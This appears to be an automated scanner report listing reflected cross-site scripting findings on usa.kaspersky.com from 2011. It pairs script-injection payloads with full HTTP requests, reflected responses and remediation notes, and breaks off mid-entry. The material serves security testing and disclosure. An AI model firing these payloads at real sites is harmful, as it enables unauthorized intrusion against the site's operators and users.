This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sites/usa.kaspersky.com/files/ctools51137"><script>alert(1)</script>f1f4ddf51ec/css/4d9813e9d0c158247f09dd5a908f5979.css?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:35:24 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387724" Content-Type: text/html; charset=utf-8 Content-Length: 40549 Date: Sun, 23 Oct 2011 16:35:27 GMT X-Varnish: 1652564197 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht ...[SNIP]... <link rel="canonical" href="http://usa.kaspersky.com/sites/usa.kaspersky.com/files/ctools51137"><script>alert(1)</script>f1f4ddf51ec/css/4d9813e9d0c158247f09dd5a908f5979.css?3" /> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 15d93"-alert(1)-"48e1557ded2 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sites/usa.kaspersky.com/files/ctools15d93"-alert(1)-"48e1557ded2/css/4d9813e9d0c158247f09dd5a908f5979.css?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:35:45 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387745" Content-Type: text/html; charset=utf-8 Content-Length: 40398 Date: Sun, 23 Oct 2011 16:35:53 GMT X-Varnish: 1652565598 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c719e"-alert(1)-"2c77cae502e was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sites/usa.kaspersky.com/files/ctools/cssc719e"-alert(1)-"2c77cae502e/4d9813e9d0c158247f09dd5a908f5979.css?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:36:36 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387796" Content-Type: text/html; charset=utf-8 Content-Length: 39441 Date: Sun, 23 Oct 2011 16:36:42 GMT X-Varnish: 1652568178 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d4d14"><script>alert(1)</script>1573b83a4d3 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sites/usa.kaspersky.com/files/ctools/cssd4d14"><script>alert(1)</script>1573b83a4d3/4d9813e9d0c158247f09dd5a908f5979.css?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:36:21 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387781" Content-Type: text/html; charset=utf-8 Content-Length: 38038 Date: Sun, 23 Oct 2011 16:36:25 GMT X-Varnish: 1652567104 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht ...[SNIP]... <link rel="canonical" href="http://usa.kaspersky.com/sites/usa.kaspersky.com/files/ctools/cssd4d14"><script>alert(1)</script>1573b83a4d3/4d9813e9d0c158247f09dd5a908f5979.css?3" /> ...[SNIP]...
The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f7280"-alert(1)-"b7b015de7b6 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.cssf7280"-alert(1)-"b7b015de7b6?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:37:15 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387835" Content-Type: text/html; charset=utf-8 Content-Length: 39440 Date: Sun, 23 Oct 2011 16:37:20 GMT X-Varnish: 1652569976 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 800d7"><script>alert(1)</script>ef5d161670b was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css800d7"><script>alert(1)</script>ef5d161670b?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:37:00 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387820" Content-Type: text/html; charset=utf-8 Content-Length: 38037 Date: Sun, 23 Oct 2011 16:37:07 GMT X-Varnish: 1652569260 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht ...[SNIP]... <link rel="canonical" href="http://usa.kaspersky.com/sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css800d7"><script>alert(1)</script>ef5d161670b?3" /> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cf7ac"-alert(1)-"285b88d6f01 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7c0e3"><script>alert(1)</script>df5dba6076a was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:35:13 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387713" Content-Type: text/html; charset=utf-8 Content-Length: 40408 Date: Sun, 23 Oct 2011 16:35:30 GMT X-Varnish: 1652563502 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht ...[SNIP]... <link rel="canonical" href="http://usa.kaspersky.com/sites/usa.kaspersky.com/files/img/green-bullet-point.jpg7c0e3"><script>alert(1)</script>df5dba6076a" /> ...[SNIP]...
1.85. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/img/green-bullet-point.jpg [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d6168"-alert(1)-"44c4aeb050b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
1.86. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/img/green-bullet-point.jpg [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a258c"><script>alert(1)</script>2a58982bd91 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e9340"-alert(1)-"2434f14f008 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sitese9340"-alert(1)-"2434f14f008/usa.kaspersky.com/files/js_injector_52.js?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: */* Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:28:20 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387300" Content-Type: text/html; charset=utf-8 Content-Length: 30903 Date: Sun, 23 Oct 2011 16:28:26 GMT X-Varnish: 1652542783 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9cf5b"><script>alert(1)</script>759f481bd19 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sites9cf5b"><script>alert(1)</script>759f481bd19/usa.kaspersky.com/files/js_injector_52.js?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: */* Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:27:39 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387259" Content-Type: text/html; charset=utf-8 Content-Length: 31000 Date: Sun, 23 Oct 2011 16:27:45 GMT X-Varnish: 1652540334 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht ...[SNIP]... <link rel="canonical" href="http://usa.kaspersky.com/sites9cf5b"><script>alert(1)</script>759f481bd19/usa.kaspersky.com/files/js_injector_52.js?3" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3125a"-alert(1)-"38d2c89a96e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sites/usa.kaspersky.com3125a"-alert(1)-"38d2c89a96e/files/js_injector_52.js?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: */* Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:29:43 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387383" Content-Type: text/html; charset=utf-8 Content-Length: 30903 Date: Sun, 23 Oct 2011 16:29:46 GMT X-Varnish: 1652547504 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7c91b"><script>alert(1)</script>6c1e48cdfe9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sites/usa.kaspersky.com7c91b"><script>alert(1)</script>6c1e48cdfe9/files/js_injector_52.js?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: */* Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:29:12 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387352" Content-Type: text/html; charset=utf-8 Content-Length: 31000 Date: Sun, 23 Oct 2011 16:29:14 GMT X-Varnish: 1652545840 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht ...[SNIP]... <link rel="canonical" href="http://usa.kaspersky.com/sites/usa.kaspersky.com7c91b"><script>alert(1)</script>6c1e48cdfe9/files/js_injector_52.js?3" /> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4f309"-alert(1)-"413e5b99097 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sites/usa.kaspersky.com/files4f309"-alert(1)-"413e5b99097/js_injector_52.js?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: */* Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:31:46 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387506" Content-Type: text/html; charset=utf-8 Content-Length: 30903 Date: Sun, 23 Oct 2011 16:33:09 GMT X-Varnish: 1652552375 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b8019"><script>alert(1)</script>b0d04f8108c was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sites/usa.kaspersky.com/filesb8019"><script>alert(1)</script>b0d04f8108c/js_injector_52.js?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: */* Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:30:24 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387424" Content-Type: text/html; charset=utf-8 Content-Length: 31000 Date: Sun, 23 Oct 2011 16:30:39 GMT X-Varnish: 1652549108 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht ...[SNIP]... <link rel="canonical" href="http://usa.kaspersky.com/sites/usa.kaspersky.com/filesb8019"><script>alert(1)</script>b0d04f8108c/js_injector_52.js?3" /> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 64217"-alert(1)-"8ecc3cd7366 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sites/usa.kaspersky.com/files/js_injector_52.js64217"-alert(1)-"8ecc3cd7366?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: */* Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:34:12 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387652" Content-Type: text/html; charset=utf-8 Content-Length: 40454 Date: Sun, 23 Oct 2011 16:34:22 GMT X-Varnish: 1652559462 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e47c7"><script>alert(1)</script>5c188c1380c was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sites/usa.kaspersky.com/files/js_injector_52.jse47c7"><script>alert(1)</script>5c188c1380c?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: */* Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:33:39 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387619" Content-Type: text/html; charset=utf-8 Content-Length: 37857 Date: Sun, 23 Oct 2011 16:33:52 GMT X-Varnish: 1652557801 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht ...[SNIP]... <link rel="canonical" href="http://usa.kaspersky.com/sites/usa.kaspersky.com/files/js_injector_52.jse47c7"><script>alert(1)</script>5c188c1380c?3" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ae927"><script>alert(1)</script>779246731c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sitesae927"><script>alert(1)</script>779246731c/usa.kaspersky.com/files/js_injector_55.js?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: */* Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:27:31 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387251" Content-Type: text/html; charset=utf-8 Content-Length: 30994 Date: Sun, 23 Oct 2011 16:27:45 GMT X-Varnish: 1652539868 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht ...[SNIP]... <link rel="canonical" href="http://usa.kaspersky.com/sitesae927"><script>alert(1)</script>779246731c/usa.kaspersky.com/files/js_injector_55.js?3" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d764b"-alert(1)-"55c3a8e0f63 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sitesd764b"-alert(1)-"55c3a8e0f63/usa.kaspersky.com/files/js_injector_55.js?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: */* Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:28:16 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387296" Content-Type: text/html; charset=utf-8 Content-Length: 30903 Date: Sun, 23 Oct 2011 16:28:17 GMT X-Varnish: 1652542541 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d5549"-alert(1)-"dfc0fbdc3e7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sites/usa.kaspersky.comd5549"-alert(1)-"dfc0fbdc3e7/files/js_injector_55.js?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: */* Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:29:20 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387360" Content-Type: text/html; charset=utf-8 Content-Length: 30903 Date: Sun, 23 Oct 2011 16:29:32 GMT X-Varnish: 1652546305 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fc447"><script>alert(1)</script>9d610eba500 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
